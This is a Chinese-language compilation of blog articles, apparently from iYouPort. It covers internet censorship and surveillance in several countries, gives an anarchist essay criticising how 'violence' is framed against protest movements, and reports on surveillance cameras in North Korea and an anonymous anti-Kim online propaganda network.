亲俄罗斯和分离主义的网站以及任何破坏乌克兰在冲突中地位的东西，经常都被封锁。政府有时还会强迫第三方删除具有政治敏感性的内容。俄罗斯的社交网络 VKontakte 和 Odnoklassniki 都被阻止。

于2017 年颁布的法律要求网络托管者在版权所有者要求的情况下阻止包含未经授权的受版权保护材料的网页。此外，政府宣布启动反盗版计划，以打击在线盗版。

该国已有用于互联网监视的机制，但是这些机制已被取消。关于在线监视的信息很少，但是该国缺乏保护隐私的立法。

乌克兰《宪法》第34条规定了言论自由，但只要声称“国家安全”，言论自由就会受到限制，而且这项权利经常受到侵犯。互联网用户和新闻工作者可能会受到自我审查的压力，甚至遭到攻击。

尽管没有法律来管理对在线活动的处罚，但是有一些法律对在网上发布的被认为是极端主义、恐怖分子和分裂主义活动的内容进行处罚。许多互联网用户已被处以罚款或监禁。

英国

英国的互联网是基本自由的，除了某些类别的封锁之外，包括对儿童性虐待以及促进极端主义或恐怖主义的内容。但是下载受版权保护的材料是非法的，并且涉及版权侵权的网站也被阻止。违者可能会被起诉。

目前，英国受到欧盟网络中立法律的保护；但是英国脱欧可能会改变这一状况。ISP承诺不会阻止服务或损害竞争对手的服务。

英国的各种法律都规定了个人权利，包括言论自由。但是，有法律禁止仇恨言论，并且有计划监视这种言论。《公共秩序法》和《通讯法》等法律惩罚任何被认为是侮辱性、冒犯性和威胁性的言论，包括鼓励恐怖主义的言论。惩罚包括罚款、监禁或两者兼而有之。

英国人受到侵入式监视。法律上的漏洞使情报机构可以制定秘密程序。政府通信总部与**NSA**一起使用名为 **Tempora** 的大规模监控程序，该程序监视和收集来自全球在线流量和通信的数据。

臭名昭著的《调查权力法》授权对通讯和数据进行批量监视。ISP被迫配合调查，当局可以责令ISP删除任何内容。英国也是“五眼联盟”的一部分，并且已在该国找到 FinFisher监视技术。

—— 大洋洲 ——

「图」

澳大利亚

澳大利亚的互联网大部分是自由的。电信法第313条允许政府阻止非法的在线服务。澳大利亚证券和投资委员会（Australian Securities and Investments Commission）使用它关闭了一个欺诈性网站，但在此过程中也阻止了一些无辜的网站。在2016年，ISP也被命令阻止流行的洪流网站。

允许使用VPN。

澳大利亚政府有能力进行监视，法律允许。电信公司必须将用户的元数据保留两年，执法机构可随时访问这些数据。《援助和访问法》允许当局访问加密的通信以防止某些事件。

修订了的《澳大利亚安全情报组织法》其中包括允许当局在单一授权下监视计算机网络的条款。另外，还增加了对那些发布机密信息的人的10年监禁刑罚 —— 也就是对吹哨人的惩罚。澳大利亚也是“五眼联盟”的一部分，并已被发现使用 **FinFisher**监视技术。

澳大利亚-东帝汶间谍丑闻是澳大利亚政府不道德行为的一个例子。2004年，澳大利亚秘密情报局（ASIS）在东帝汶内阁办公室里安装了监听设备。目的是获得有关东帝汶天然气和油田谈判的信息。而后领导该行动的ASIS官员在谈判中透露了间谍活动。

该国没有法律来保护网络中立性，但是澳大利亚公司的运营方式对此提供了支持。

言论自由并没有得到官方的保护，尽管人们通常可以公开讨论敏感话题，但是仍有一些处罚措施可以阻止言论自由。在线诽谤可能导致过多的处罚，并且涉及到许多诉讼。在一个针对博客作者的案件中，原告获得了700000美元的澳元（490,000美元）的赔偿。

澳大利亚政府不喜欢讽刺，有一些法律禁止对议会进行讽刺，从根本上限制了言论自由。

新西兰

新西兰人当局声称对特定内容进行过滤和屏蔽，包括儿童色情、酷刑或暴力和残忍行为的任何内容。除此之外，互联网是开放的。

但是斯诺登（Edward Snowden）透露，新西兰正在分析通过互联网和其他方式发送的私人私密通信。政府通信安全局可以跟踪每个人的电话和在线消息。于2017 年颁布了情报和安全法规，增加了间谍机构对私人通讯的访问权限。新西兰也是“五眼”联盟的一部分。

- 《Snowden 文件：新西兰一直全面监视所有太平洋邻国，甚至是合法的》

巴布亚新几内亚

巴布亚新几内亚拥有庞大的采矿业。许多公民对此表示反对，因为矿业摧毁了该岛的生态，并引起了长期的内战。一个和平协议在2001年签署，但激烈的战斗又开始了。许多反对采矿的公民被杀害。

巴布亚新几内亚的互联网不受限制和审查，也没有在线监视的报告。可以使用社交媒体，但是政府要求将 **Facebook** 封锁一个月，以识别发布虚假信息的假名用户。

宪法规定的自由言论，但值得担忧的是在2016年颁布的立法可以用来侵犯宪法权利。该法律对侵犯版权、电子伪造、诽谤和煽动暴力规定了惩罚。媒体可以报道政治性的和争议性的问题，但一些记者遭到骚扰或殴打。〇

原文

暴力的非法性，合法性的暴力 - iyouport

无政府主义社会反抗和思考长读

我们必须铸造和流通一种合法性的货币，这种货币不受统治者控制，不创造 “他者”

什么是暴力？谁来定义它？它在追求解放的过程中是否有一席之地？这些古老的问题不断重新成为焦点。但这种讨论从来都不是在公平的环境下进行的；虽然有些人将暴力非法化，但合法化的语言本身就为当局使用暴力铺平了道路。

去年我们发布过一本书《什么是暴力》，也分析过《当甘地错了 ...》；但是，这个问题绝对不是我们这些坐在电脑前和躺在沙发上举着手机的人们所想得那么的简单。

也许是因为，一开始就问错了问题。暴力还是非暴力，并不是一个二分法问题。那么，真正的问题应该是什么？

本文来自一份博客，您可以在这里收听这段文字的音频版本。

> “虽然骑着马、带着狗的警察排成一排，冲到警察局外的主干道上，将暴乱者逼退，但有大量的暴力区域是他们无法触及的。”—— 《

2001年在魁北克市举行的自由贸易协定首脑会议期间，有一家报纸著名的报道说，“当抗议者开始向防暴警察的队伍投掷催泪弹时，爆发了暴力事件”。当当局被认为垄断了合法使用武力的权利时，“暴力”这个词往往被用来表示非法使用武力 —— 任何中断或逃脱当局的 暴力控制的行为。这使得这个词成为一个浮动的符号，因为它也被理解为 “违反同意的伤害或威胁”。

由于我们的社会以违反同意的伤害或威胁为基础，并渗透着这种伤害或威胁的方式，这就更加复杂了。在这个意义上，生活在被殖民的领土上，通过我们的日常消费破坏生态系统，并从枪口下强加给他人的经济关系中获益，难道不是暴力吗？武装卫兵不让那些需要粮食和土

地的人得到粮食和土地，这曾经是所有人共享的公地，难道不是暴力吗？警察把人赶出家门强拆房屋、在人们无家可归时袖手旁观，是不是更暴力？是向警察扔回催泪弹更暴力，还是谴责那些扔回催泪弹的人是“暴力”，让警察可以随意做更坏的事？

在这种情况下，没有所谓的非暴力—— 我们能希望达到的最接近的目标是否定自上而下的暴力支持者所带来的伤害或威胁。而当这么多人投入到这种暴力赋予他们的特权中时，如果认为我们可以在不违反至少几个银行家和地主的意愿的情况下保护自己和被剥夺者中的其他人，那就太天真了。因此，与其问一个行动是否是暴力的，不如简单地问：它是抵消了权力的不平等，还是加强了权力的不平等？

这是基本的问题。我们可以在每一种情况下都问这个问题；每一个关于价值观、战术和战略的进一步问题都是从这个问题出发的。当这个问题可以这样框架化的时候，为什么有人要把辩论拖回到暴力和非暴力的二分法上呢？

暴力和非暴力的论述之所以有吸引力，首先是因为它提供了一种容易宣称更高的道德立场的方法。这使得它在批评国家和与其他活动家争夺影响力方面都具有诱惑力。但在一个等级森严的社会里，获得更高的地位往往会强化等级制度本身。

合法性是我们社会中分配不均的货币之一，通过它维持社会的不平等。将人或行动定义为暴力，是将他们排除在合法语话之外的一种方式，也是将他们噤声和拒之门外的一种方式。这与其他形式的边缘化相类似，并强化了其他形式的边缘化：一个富有的白人可以以“非暴力”的方式行事，而如果一个贫穷的有色人种做同样的事，就会被视为暴力。在一个不平等的社会里，对“暴力”的定义并不比任何其他工具更中立。

将人或行动定义为暴力也会产生直接的后果：它为对他们使用武力提供了理由。这几乎是每一个针对被边缘社区、抗议运动和其他针对资本主义之错误的运动中的重要步骤。

如果你参加过足够多的反抗动员，你就会知道，通过前一天晚上新闻中的报道方式，往往就可以准确地预知到警察会对示威活动使用多少暴力。在这方面，专家甚至是敌对的组织者都可以和警察一起参与警务工作，通过他们的叙事方式来确定谁是“合法的”施暴目标。

还记得中国的叙事是如何描述“八九暴徒”的吗？

在埃及起义一周年之际，军方取消了《紧急状态法》—— 声称 “除了与暴徒有关的案件”。在美国，2011年的民众起义迫使当局将以前不可接受的抵抗形式合法化，奥巴马将数千人与警察搏斗并烧毁警察局的起义定性为 “非暴力”。为了使独裁政权的法律机器重新合法化，有必要在暴力 “暴徒” 和其他民众之间建立一种新的区别。

然而，这种区分的实质从未被阐明，实际上 “暴徒” 只是给《紧急状态法》所针对的人贴的一个标签。从当局的角度来看，理想的情况是，施加暴力的目的本身就足以给受害者打上暴力的烙印—— 即 合法化国家暴力的目标。

因此，当有足够多的民众参与抵抗时，当局就必须将其重新定义为非暴力，即使它以前被认为是暴力的。否则，暴力与合法性之间的二分法可能会被削弱 —— 而如果没有这种二分法，就更难证明对挑战现状的人使用武力是合理的。

同样的道理，我们在允许当局定义为 “暴力” 的问题上让步越多，我们就会越多地被纳暴力这一范畴，我们所有人都将面临更大的风险。过去几十年来自称非暴力的公民抗命都有一个共同的后果就是，有些人认为仅仅是发出自己的声音就是暴力；这就有可能把那些采取哪怕是最试探性的步骤来保护自己不受警察暴力侵害的人，也描绘成暴力暴徒。

> “个人联手起来积极抵抗，这本身就是一种暴力行为 …… 在被命令让开时联起手来的人链，并不是一种非暴力抗议。”—— 《旧金山纪事报》援引加州大学警察队长马戈·贝内特的话，为加州大学伯克利分校对学生使用武力镇压进行辩解。

统治者的工具：非法化、歪曲和分裂

「图」

暴力镇压只是镇压社会运动的双管齐下战略的一个方面。为了使这种镇压取得成功，必须将运动分为合法和非法两类，并说服前者不承认后者—— 通常是为了换取特权或让步。我们可以从克里斯·赫奇斯（Chris Hedges）和丽贝卡·索尔尼特（Rebecca Solnit）等职业记者将占领运动中的竞争对手妖魔化的努力中近距离地看到这一过程。

在《扔掉主人的工具，建造更好的堡垒》一文中，索尔尼特将反对 “暴力” 的道德感和战略论点混淆在一起，用一种美国的例外主义来对

冲她的赌注。萨帕塔民族解放军可以携带枪支、埃及反叛运动可以放火烧楼、但在美国，没有人可以烧垃圾桶。她的基本观点是，只有“人民力量”才能实现革命性的社会变革—— 而“人民力量”必然是非暴力的。

索尔尼特应该知道，对暴力的定义并不是中立的：在她的《西雅图暴力的神话》一文中，她讲述了她为了让《纽约时报》停止将1999年西雅图反对WTO峰会的示威游行表述为“暴力”而进行的不成功的斗争。Solnit 始终强调暴力是她的中心范畴，这是在强化一种工具的有效性，只要这种工具符合强权者的利益，就会不可避免地被用来对付抗议者 —— 包括她本人。

也许是出于同样的原因，她和当局一起将暴力非法化，这使他们有能力将自己的努力合法化。索尔尼特在社会运动中的影响力和她在资本主义社会中的特权，都是建立在合法和非法的区别之上的。如果社会运动不再是自上而下的管理—— 如果它们停止自我监督，那么这个世界上的赫奇斯和索尔尼特们就会实质性的和象征性地失去工作。这就可以解释为什么他们认为自己最大的敌人是那些清醒地建议不要把运动分成合法和非法派别的人。

索尔尼特文章的标题是引用奥德雷·洛德的一篇颇具影响力的文章“主人的工具永远不会拆除主子的堡垒”。洛德的文字并不是对非暴力的认可；就连赫奇斯赞许地引用的德里克·詹森也揭穿了这种对这句话的误用。在此，我们只需重申，主宰者最有力的工具不是暴力，而是非法化和分裂 —— 正如洛德在她的文章中所强调的那样。

为了捍卫我们的运动不受这些影响，洛德劝告说：

> “差异不仅要被容忍，而且应被视为必要极性的基础，我们的创造力可以在两极之间迸发 … 只有在公认和平等的不同优势相互依存的情况下，寻求新的生存方式的力量才能产生，以及在没有宪章的情况下采取行动的勇气和支撑力。”

如果我们要生存，那就意味着：

> “… 学会如何独善其身，不受欢迎，有时甚至被人唾弃， 如何与那些被认定为结构外的人共同事业，以定义和寻求一个让我们都能繁荣的世界 … 学会如何利用我们的差异，使其成为力量。因为主人的工具永远不会拆除主子的堡垒。”

【注：“用主人的工具永远无法拆解主人的堡垒” 这句话的意思就是我们在《打破 Matrix 的路》中所解释的：使用当权者提供的工具是无法打败当权者的。也是《要运动，不诉求》的中心意思。詹姆斯·霍普金斯有一个音乐专辑就是这个名字】

索尔尼特断章取义地引用洛德反对沉默的论点，以达到委曲求全、分化的目的，这是特别无耻的。但是，当成功的职业者出卖匿名的穷人时，也许我们不应该感到惊讶：他们必须捍卫自己的阶级利益，否则就有可能变成我们这样的穷人。因为将人们提升到行动主义等级制度和自由主义媒体内有影响力的位置的机制也不是中立的，它们奖励温顺，通常被编码为 “非暴力”，使那些实际上真的能威胁到资本主义和等级制度的人的努力被视而不见。

合法性的诱惑

「图」

当我们希望被认真对待时，会很想以任何方式要求合法性。但是，如果我们不想强化社会的等级制度，我们就应该小心，不要去验证那些使其永久化的合法性形式。

您很容易认识到这在某些情况下是如何运作的：例如，当您根据人们的学术资历来评价他们时，这就将抽象的知识优先于生活经验，将那些能够在学术界获得公平机会的人集中起来，并同时将其他人边缘化。在其他情况下，这种情况发生得更为微妙：

您强调您作为社区组织者的身份，是在暗示那些缺乏时间或资源进行这种追求的人就没有资格发言吗？您宣称自己是长期居住在当地的人，暗指所有不是长期居住在当地的人 —— 包括那些被迫搬到这个社区的移民，因为他们的社区已被破坏 —— 都应该被排斥吗？您以自己在资本主义社会中的角色—— 作为学生、工人、纳税人、公民 —— 为自己的抗争辩护，却没有意识到这对那些失业者、无家可归者、被排斥者来说，是多么的困难。

反抗者常常对由此产生的打击感到惊讶。政客们用反抗者普及的词汇诋毁我们的队友：“那些不是活动家， 他们只是无家可归的人，假装成活动家”； 再比如 “我们不是针对有色人种社区，我们是在保护他们免受犯罪活动的侵害” 等等。然而，我们通过肯定那些使合法性成为条件的语言，自己就已经为这一切铺平了道路。

当我们强调我们的运动是且必须是非暴力的时候，我们在做同样的

事。这就创造了一个在我们为自己赢得的任何合法性保护之外的“他者”—— 简而言之，就是一个合法的施暴目标。任何从警察手中拉开自己的队友而不是被动地等待被逮捕的人 、任何制作盾牌保护自己不被橡皮子弹击中而不是将街道拱手于警察的人、任何因被警察殴打而被指控袭警的人：所有这些不幸的人都被当作了“暴力者”。那些因为工作不稳定或移民身份而在法律诉讼中也必须戴上面具的人，被斥为毒瘤，被出卖，以换取当权者的几分合法性。我们这些“好公民”可以做到完全透明；才能证明我们绝不会犯罪，也不会在我们中间窝藏一个潜在的罪犯。

而暴力的他者化为他者化的暴力铺平了道路。承担最严重后果的，不是那些在网络火焰战中被抨击的中产阶级小子，而是处于资本主义中每一条其他分界线的错误一方的人：穷人、被边缘化的人，那些没有资格、没有机构为他们出头的人，没有动力去玩那些偏向于当局的政治游戏的人，或许还有一些阔佬阶层的积极分子。

简单地将暴力非法化，并不能杜绝暴力的发生。没有它，这个社会的差距就无法维持，绝望的人总会以行动来回应，尤其是当他们感觉到自己已经被抛弃的命运时。但这种委曲求全会造成愤怒者与道德正直者、“非理性”者与理性者、暴力者与社会人之间的鸿沟。我们在2011年8月的英国骚乱中看到了这种后果，当时许多被剥夺权利的人，对通过任何合法手段改善自己的生活感到绝望，于是冒着危险对财产、警察和社会其他方面进行私人战争。他们中的一些人曾试图参加以前的民众运动，但却被污蔑为流氓；毫不奇怪，他们的反叛发生了反社会的变化，导致五人死亡，并进一步疏远了他们与其他阶层的人口。

这一悲剧的责任不仅在于反叛者本身，也不仅在于那些强加给他们不公正待遇的人，还在于那些将他们污名化、而不是参与创建一个能够疏导他们的愤怒的反抗运动的活动家们。

如果那些打算改造社会的人和那些在社会中受苦最深的人之间没有联系，如果希望者和愤怒者之间没有共同的事业，那么当后者反抗时，前者就不会承认他们，后者就会和所有真正变革的希望一起被粉碎。任何排除被剥夺权利的“他者”的运动，都不会消除等级制度。

那么，如果不是我们对合法性、非暴力或任何其他标准的承诺，将我们潜在的队友联合起来，那么我们的反抗运动的合法性基础应该是什么？如何解释我们在做什么、为什么我们有权这样做？我们必须铸造和流通一种合法性的货币，这种货币不受统治者控制，不创造“他者”。

我们的欲望和福祉以及我们同胞的欲望和福祉是行动的唯一有意义的基础。我们可以不把行动划分为暴力或非暴力，而是把重点放在它们是扩大还是减少自由上。我们不是坚持我们是非暴力的，而是强调必须打断自上而下的统治所固有的暴力。对于那些习惯于寻求与强权对话的人来说，这可能是难以接受的，但对于每一个真正希望废除强权的人来说，这是不可避免的。

结语：回到战略

「图」

但是，我们如何打断自上而下统治的暴力？非暴力的游击队员从战略和道德的角度提出了他们的论点：暴力疏远了群众，使我们无法建立取得胜利所需的“人民力量”。

这其中有一个核心的道理。如果把暴力理解为非法使用武力，那么他们的论点可以概括为一个同义词：委曲求全的行动是不受欢迎的。

事实上，那些把资本主义社会的合法性视为理所当然的人，很可能会把任何采取实质措施来对抗其不平等的人视为暴力。那么，我们面临的挑战就是要使具体的抵抗形式合法化：不是因为它们是非暴力的，而是因为它们是解放的，它们满足了真正的需求和欲望。

这不是一件容易的事。即使我们热衷于我们正在做的事，如果它没有被广泛认可为合法，当被要求解释自己的时候，我们往往会口齿不清。如果我们在去推翻这个体制的时候，能保持在这个体制为我们规定的范围内就好了！而这怎么可能？

我们的行动是在这个体制内进行的。占领运动的特点就是试图做到这一点 —— 公民们根据晦涩的法律中的漏洞，坚持自己占领公共公园的权利，提出绕嘴的理由，而对旁观者来说，并不比对当局更有说服力。

人们想纠正身边的不公正，但在一个高度管制和控制的社会里，他们觉得自己有权做的事太少了。

索尔尼特也许是对的，强调非暴力是“占领华尔街”最初成功的关键：人们希望得到一些保证，即 他们不必离开自己的舒适区，而且他们所做的事对其他人都有意义。但经常发生的情况是，一场运动的先决条件变成了它必须超越的限制。占领奥克兰运动在其他占领活动平息后仍然充满活力，因为它接受了多样化的战术，而不是局限自己。

同样，如果我们真的想改变我们的社会，就不能永远停留在当局认为合法的狭隘界限内：我们必须扩大人们觉得有权做的事的范围。

如果我们不能创造一种人们感到有权保护自己和彼此的情况，世界上所有的媒体报道都不会帮助我们。

将抵抗合法化，扩大可接受的范围，一开始是不会受欢迎的—— 它从来都不会受欢迎，正是因为上述那个同义词。这需要持续不断的努力来转变语话权：冷静地面对愤怒和指责，谦虚地强调我们自己对什么是合法的标准。

我们认为这种挑战是否值得，取决于我们的长期目标。正如大卫·格雷伯所指出的，目标上的冲突往往伪装成道德和战略上的分歧。如果我们的长期目标不是挑战现有社会的基本结构，而是建立一个能够发挥由强权者定义的所谓合法性的群众运动—— 并且准备好相应地自我审查，那么将非暴力作为我们运动的中心原则是有意义的。但是，如果我们真的想改造我们的社会，我们就必须改造合法性的语话，而不仅仅是把自己很好地定位在目前存在的合法性之中。如果我们只关注后者，我们就会发现那个地势在不断地从我们脚下滑落，许多我们需要与之找到共同事业的人永远无法与我们分享它。

进行战略性的辩论是很重要的：从非暴力的语话中转移出来，并不意味着我们要认可每一扇破碎的窗户都是个好主意。但是，当教条主义者坚持认为，所有不认同他们的目标和假设 —— 更不用说他们的阶级利益了—— 的人都没有战略意识时，这只会阻碍这些辩论。

专注于否定对方的努力，而不是协调在我们重叠的地方共同行动，这也不是战略。这就是肯定战术多样性的意义所在：建立一个为我们所有人提供空间、但又不给统治和噤声留下空间的运动 —— 一个既能扩大又能强化的 “人民力量”。

> “那些说埃及革命是和平的人并没有看到警察对我们施加的恐怖，也没有看到革命者为保卫他们的临时占领区和空间而对警察使用的抵抗甚至武力：政府自己承认，99个警察局被置于火堆上，数千辆警车被毁，埃及各地的执政党办公室被烧毁。竖起路障，警察被打回原形，用石块砸，甚至他们还向我们发射催泪瓦斯和实弹 ……

○□

原文

朝鲜“改开”的新面目：监视设备的兴起及生活状况的变化（多图） - iYouPort

地缘政治开源情报-每个人都可用的武器长读

高价 U 盘作为门票、遍地二维码、电吉他、自助餐和高科技的全民监视系统……你觉得我们正在哪里？也许你猜错了。这里是朝鲜。朝鲜已经发生了明显变化，不仅验证了我们几个月前的预测，而且还有更多的东西。本文是一篇情报分析，偏重于提供素材和思路。欢迎来到平壤

「图」

「图」

下图是 Evans 在五个月前的思路，当时是半岛局势出现变化的最初。显然由于字数受限没能写得更详细，现在有了更多详细信息，能证明这一思路是正确的。

「图」

「图」

视频监控技术的使用似乎正在朝鲜国内急剧上升，这是 NKNews 记者上个月前往平壤的一次旅行见闻、以及从全国各地拍摄到的照片。

时间是 2018 年9月。走访可见，平壤几十个地点都安装了闭路电视监视设备，包括工厂、旅游景点、和酒店住宿。

值得注意的是，在许多街角和其他户外公共场所也可以看到摄像机，包括在某些情况下看起来可以远程控制的 **PTZ**（平移/倾斜/变焦）设备。

与 2017 年的走访相比，这些监视设备如今似乎出现在了更多的地方。

「图」

「图」

此外，现有的具有雷达能力的交通拥堵网络在平壤继续扩展，而从该国东北部的 Rason 获得的照片显示，8 月份在消费者市场上已经开始出售多种类型的监视设备。

该市场的韩语标牌显示出售的设备包括“儿童监控摄像机”、“录像机”和“USB 摄像机”等。

在今年 8 月和 9 月获得的其他照片显示了 Kaesong，Samjiyon 和 Nampo 等地公共场所配置的监控摄像机。

「图」

「图」

通过翻译，一名工作人员在平壤师范学院解释了监视摄像机的目的

在平壤教师培训学院，每个房间里都有 **CCTV** 监视系统，9月份的访问中，一名工作人员解释说，安装这些监视系统的原因“有很多”。

好吧您已经猜到了，和全球其他热衷于监视社会的政府一模一样，都是些歪曲和狡辩—— 把安检歪曲为“安全”、把监视审查解释为“稳定和监督”。

该工作人员说：“首先，为了安全起见。第二，为了课堂观察“，通过朝鲜外交部的翻译，他们还说，“校长不仅可以亲自观察教学过程，而且还可以通过摄像机在自己的办公室内进行观察……这样，他们就可以更好地评估教师的工作水平，这可以带来更好的监督。”

但是，工作人员没有说明摄像机的真实作用。

「图」

「图」

“我认为我们看到了两件事，”斯坦福大学讲师兼韩国研究员 Andray Abrahamian 博士说。

“首先，监视系统的成本在过去几十年中显著下降。此外，朝鲜机构

的支出能力也比 **2000** 年代初期或中期更多。““热衷于监视社会的政府基本都会将此解释为犯罪率上升，但我不知道如果考虑我们在访问朝鲜时遇到的知情限制，在那里，任何人都可以随便说犯罪率是上升还是下降，因为没有真实的数据”，他说。

以上是 2018 年9月的见闻。以下是 2018年10月初，我们的走访见闻。

先说一些没有什么变化的朝鲜特征。遍地都是卖金正恩语录的，大概有1、2、3、4、5 不同的分册，还有一本“主体思想问答手册”、一本“先军思想问答手册”。而且语录有中文版，其中有一句话很有趣：“有了思想的鸡蛋能击碎石头”。

更好玩的是，看了一场十万人的表演，就是下图这样。注意是十万人哦！你能看到后面的大屏幕，它似乎像舞台和展厅的大型投影屏？不，那是活人组成的画面，都是中小学生，并且“画面”不断变换非常惊人。能让你充分体验到集体主义社会闹心的审美观。

看到没？还有中文呢 ~

「图」

「图」

十万人的大型表演

为了寻找细节线索我们从头看到尾。有趣的是，并没有金正恩单独出现的画面，所有画面都是金和文在一起的，这场演出中还放送了金正恩和文在寅携手的视频，如下。

「图」

「图」

尤其是该演出的票价，令我们这些穷光蛋印象深刻。据称给外国游客还是最低的优惠价：800 RMB，给当地人的票价是几千 RMB，最佳观赏位置高达几万 RMB。

门票也不是普通的票，而是一张 U 盘，上面有二维码，扫码即可入场。

二维码在朝鲜非常普遍，饮料瓶上、巧克力包装纸上，到处都是二维

码，域名都是以 kp 结尾的。

每个旅行社都可以上网；朝鲜的教育、医疗和住房是免费的，地铁卡、公交卡据称单位每个月作为福利发送；他们似乎没有劳务市场，工作是分配的，就像中国80年代及以前那样。

我们的手机在朝鲜没有 3G、4G 网络，也没有 Wi-Fi，但是可以看到 googlemaps 上有平壤所在的位置，可以离线使用，不至于走丢。

当地的司机不懂中文，但是懂简单的英语！这是让我们感觉最有趣的地方之一；酒店也一样，前台能讲流利的英文，却不懂中文。但是一些卖东西的摊位能懂汉语。

平壤小商店的售货员不卖东西给外国人，而且售货员大多不会说中文；似乎街边商店需要票券类似的东西，不是光有钱就行（中国80年代那种粮油肉票？我们不懂韩语，而他们不懂英语和中文，于是没能打听）

这是第一餐。就是很简单的快餐，后面那瓶饮料是梨汁：

「图」

「图」

下图是朝鲜本土的口香糖。其标签看起来很成熟，不仅有千克，还有显示热卡的千焦：

「图」

「图」

下图是朝鲜的农贸市场一角，好吧水果的确是挚爱：

「图」

「图」

这里是朝鲜的 K 歌房在为游客演出。请注意电吉他和领带的细节。

朝鲜人是可以穿西装的，但是他们不穿牛仔裤，牛仔裤被认为是“美帝国主义发明的玩意”，但是电吉他呢？似乎朝鲜人没有这方面的解释，也不禁止，音乐是另一码事吗？我们也不知道。顺便说酒店里不

止有练歌房，还有自助餐。

「图」

「图」

板门店大概是相比下管制最严格的地方了，有戴着头盔的持枪大兵把守，但是也允许游客参观，需要朝鲜士兵陪同，没能拍照。但回来的时候就可以拍了，这些大兵在车上和游客一起唱歌玩笑。完全没有想象中那么死板；如果你在远处朝他们挥手，他们也会挥手朝着你笑。

「图」

「图」

在以前，朝鲜方面是配一个导游和一个安全监视员的，现在后者没了，负责“安全监视”工作的换成了高中实习生。他们的中文讲得很棒，而且据称是自学的；电视里有两个朝鲜频道，其中一个是朝鲜中文频道。

街上的汽车数量之多有点儿超乎想象，甚至遭遇了堵车。能看到公交车、有轨电车、还有双层巴士。但是整体感觉空气很好，大概因为周边都是山区的缘故。朝鲜 90% 是山区农田，此时能看到他们的收割作业，大多是手工收割，也有看到两台收割机，还有牛车。

下图是途中看到的双层巴士：

「图」

「图」

街上几乎是清一色的中山装。男人统一穿裤子，女人统一穿裙子，不论男女老幼。于是“裤子”在朝鲜就指男人，如果你问对方有没有男朋友，那么说出来就是：“你有没有找到裤子？”

高阶层叫“金裤子”，离异男叫“旧裤子”，丧偶男叫“破裤子”。

下图是朝鲜的住宅楼，还有高层建筑，虽然不是很多。如果没有那两张大头照和一堆标语的话，你可能会误会这不是朝鲜。

「图」

「图」

朝鲜的洗脑教育的确非常厉害。一位有韩国记者问金日成的铜像有多重？一位年仅 9 岁的朝鲜少年说：“他的重量就是我们全体朝鲜民众心脏的重量！”……嗷

入关并不难，导游会给每个人发一张朝方旅游签证卡，如下图（上），然后还需要填写一个入境申报单，下图（下）：

「图」

「图」

关联一个我们三个多月前的编译报道：朝鲜精英阶层已转向中国的 BAT 平台，原因是平壤对 Facebook 和其他西方网站采取了限制措施。自**2017**年 **12** 月到 **3** 月中旬，朝鲜领导层 “几乎完全放弃了西方社交媒体”，转而使用中国的阿里巴巴、腾讯和百度。

与此同时，**VPN** 等技术的使用量增加了 **1200%**。朝鲜的精英阶层有三条接入互联网的途径：一是通过国内的连接，另一条是通过中国联通/网通分配的 IP 段，第三条是通过一家俄罗斯卫星公司提供的卫星连接。

就如本文第一张图中所解释的，“改革开放”是给专制续命的唯一有效方法。由于“开放”会改善人民的认知，于是必定会带来异议。也于是，Evans 当初推测，“改开”模式最关键的一环是全民监视—— 对社会的全方面控制。现在已经证明了这点。

以下关联另一个信息的分析。

自 2015 年5月以来，一个由数十个网站、博客和社交媒体账户组成的神秘网络已经发布了数百个讽刺漫画、信息图表和政治信息，批评朝鲜的人权记录和其领导人金正恩。但韩国的间谍机构拒绝承认与该网络有任何联系。

该网络还特别发布了多个精心设计和专门设计的图形，以展示和推广秘密的 Cheollima 民防组织的工作，该组织声称在去年2月金正男被暗杀后帮助保护金正男的儿子。

但是多家媒体试图通过与网络相关的用户名、电子邮件地址和网站联系人的通信来识别支持者时，只返回了一个结果：一名来自伦敦的志愿者、西班牙语翻译，他说他对此一无所知，不知道该活动的背后是

谁或者是什么。

在朝鲜人权界工作的 14 名积极人士、捐助者和脱北者都表示，他们不知道谁是这项工作的的幕后推手。鉴于该社区规模较小，这是一个显著的脱节。

「图」

「图」

FHRNK website screenshot: http://fhrnk.blogspot.com

该网络创建和推广的请愿书和公开信要求将金正恩提交给国际刑事法院，让白宫将朝鲜作为国家恐怖主义的支持者，并让俄罗斯终止与朝鲜的所有贸易，等等。

还有一些制作专业的动图，描绘了一个泪流满面的金正恩在他的祖父和父亲的肖像旁边自慰，显示了朝鲜囚犯营地的强制堕胎，并模拟了朝鲜 ICBM 对旧金山的攻击可能是什么样的。

该网络具有专业品质的绘画和信息图表，以及原创的、奇异的、有时还有技术复杂的漫画，这些内容共同调整全球和朝鲜特定的新闻，以吸引人们关注平壤人权记录的现状，以及核计划和黑客攻击能力。

并且使用了加密的互联网连接以隐藏其材料的来源，调查显示，通过一个名为“朝鲜的自由与人权”（FHRNK）的实体网站，在线文档称这是一个“基于洛杉矶的非营利组织”。

尽管有此描述，但是美国国税局（**IRS**）的名单中没有这个非政府组织的记录，而与网络内的所有其他资产一样，被标注为指导该网站的联系人没有回复媒体的来函。

「图」

「图」

Annotations often appear to be written by non-native speakers

用外语制作的漫画通常具有非常笨拙的语言表述，这表明它们不是由母语人士制作的。当然，这种也可以假装出来。

「图」

「图」

此外，为网络制作的一些漫画伴随着明显的假签名，虽然其设计使得制作者无法定期更改名称，尽管显然是由同一艺术家制作的。

「图」

「图」

Gregory Pence 是一位漫画家，他为首尔的 Daily NK 做出了贡献，并熟悉那些经常制作朝鲜漫画的少数艺术家，但他说他从来没有遇到过这个网络所输出风格的艺术家。

“这些模仿账户以多个创作者的作品为特色……这是一个大杂烩。”

但他说有些属于现有作品的复合设计，并且他还说，“一些图像表明其技能非常专业，制作这样的作品需要大量的时间，更高级的插图可能需要超过 **15–20** 个小时。”

「图」

「图」

Artwork is often sophisticated in nature, but with often graphic content | Picture—Instagram @kimjongun6666

另外25个由 “David John” 制作和上传的独特视频（这个显然的化名是 FHRNK 网站上最突出的人物，但似乎没人知道他是谁）平均每个有 5–20 次的观看，鉴于其制作难度，这是个极低的数字。

由该网络维护的 Twitter，Instagram，Pinterest 和 Google Plus 帐户中，绝大多数跟随者的粉丝数量在数百人左右，尽管有一个日本的 Twitter 帐户拥有相对较高的 4056 个粉丝。

「图」

「图」

一名驻首尔的朝鲜人权活动家表示：“其中一个主要的危险因素似乎是他们制作了许多原创内容，而其中大部分都没有任何影响力，但他们似乎并不关心……他们在 Blogspot 和 YouTube，Vimeo 等上投入了大量内容，并制作推文，但他们没有得到任何回应，他们也没有真

正与观众互动过……给人感觉几乎就像他们正在按照配额填写内容，并且不关心之后发生的任何事“。

